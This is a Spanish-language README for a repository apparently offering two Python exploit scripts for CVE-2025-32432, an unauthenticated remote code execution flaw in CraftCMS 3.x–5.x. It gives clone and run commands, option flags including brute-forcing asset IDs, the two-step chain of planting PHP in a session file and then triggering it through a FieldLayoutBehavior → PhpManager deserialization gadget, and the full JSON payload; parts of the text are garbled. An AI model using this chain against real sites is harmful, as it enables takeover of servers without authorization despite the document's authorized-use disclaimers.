
Exploit en Python para CVE-2025-32432, una RCE sin autenticación en el endpoint asset-transform de CraftCMS. Incluye una cadena de dos paquetes para ejecutar comandos de shell arbitrarios mediante gadgets de deserialización.
Ejecución Remota de Código sin autenticación para CraftCMS 3.x / 4.x / 5.x
Mantenedor del PoC: C.T.Y. (solo uso en investigación)
Descubrimiento de la vulnerabilidad: Nicolas Bourras – Orange Cyberdefense
Inspiración adicional del PoC: Investigación de SensePost y script público de Chirag Artani
Este repositorio agrupa dos exploits complementarios en Python para CVE-2025-32432 — un RCE sin autenticación en el endpoint de transformación de assets de CraftCMS.
| Script | Propósito |
|---|
craftcms_rce_php_check.py | Sonda de seguridad — envía una solicitud usando el gadget FnStream para verificar si se ejecuta PHP arbitrario (muestra la salida de phpinfo()). Ideal para confirmación de bajo impacto. |
craftcms_final_payload.py | Exploit completo — cadena de dos paquetes: primero implanta PHP vía FnStream, luego aprovecha el gadget FieldLayoutBehavior → PhpManager para ejecutar cualquier comando de shell. |
El segundo script es el que se describe a lo largo de este README.
El primer script se incluye para completitud y validación rápida, cortesía de Chirag Artani — ver Créditos.
El nombre del archivo del script se adaptó para mayor claridad; estructura e idea original de Chirag Artani.
Solo para pruebas de seguridad educativas y autorizadas.
Usar estos scripts contra sistemas sin permiso explícito por escrito es ilegal y poco ético.
assetId (heurística 404 → 302)-c/--cmd)pip install -r requirements.txt):
requestsurllib3# Clonar el repositorio
git clone https://github.com/CTY-Research-1//CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt
# Instalar dependencias
pip install -r requirements.txt
python3 craftcms_rce_php_check.py -u https://victima.com
Si ves la salida de phpinfo(), el objetivo probablemente es explotable.
python3 craftcms_final_payload.py -u https://victima.com -c "id"
| Opción | Forma larga | Descripción | Requerido |
|---|---|---|---|
-u | --url | URL base del objetivo (sin barra final) | ✅ |
-c | --cmd | Comando de shell a ejecutar | ✅ |
-a | --asset | assetId conocido válido | ❌ |
-s | --scan-max | Límite de fuerza bruta (por defecto: 300) | ❌ |
/index.php?p=admin/dashboard&a=<?=...?> escribe PHP arbitrario en /tmp/sess_<ID>.actions/assets/generate-transform con un gadget FieldLayoutBehavior → PhpManager obliga a CraftCMS a hacer require() del archivo de sesión, ejecutando el código.{
"assetId": 11,
"handle": {
"width": 1,
"height": 1,
"as hack": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/tmp/sess_<SessionID>"
}
]
}
}
}
assetId)phpinfo (craftcms_rce_php_check.py) e ideas de investigación temprana
El nombre del archivo del script se adaptó para mayor claridad; estructura e idea original de Chirag Artani.Aviso de responsabilidad: Cualquier riesgo legal o daño que surja del uso de este código es responsabilidad exclusiva del usuario.
Licencia MIT — ver LICENSE.
| Archivo | Propósito |
|---|---|
craftcms_rce_php_check.py | Verificación de viabilidad de ejecución PHP: Una sola solicitud, usando FnStream para activar phpinfo(), verificando de forma de bajo impacto si el objetivo es vulnerable.El nombre del archivo se adaptó para mayor claridad; estructura e idea original de Chirag Artani. |
craftcms_final_payload.py | Explotación completa de dos paquetes: Primero implanta PHP con FnStream, luego ejecuta comandos arbitrarios a través de PhpManager. |
Solo para pruebas educativas y autorizadas. El uso no autorizado es ilegal.
python3 craftcms_rce_php_check.py -u https://objetivo
python3 craftcms_final_payload.py -u https://objetivo -c "id"
Los parámetros son los mismos que en la versión en inglés.
phpinfo
El nombre del archivo se adaptó para mayor claridad; estructura e idea original de Chirag Artani.El uso de este código conlleva riesgos legales y daños que son responsabilidad exclusiva del usuario.
Licencia MIT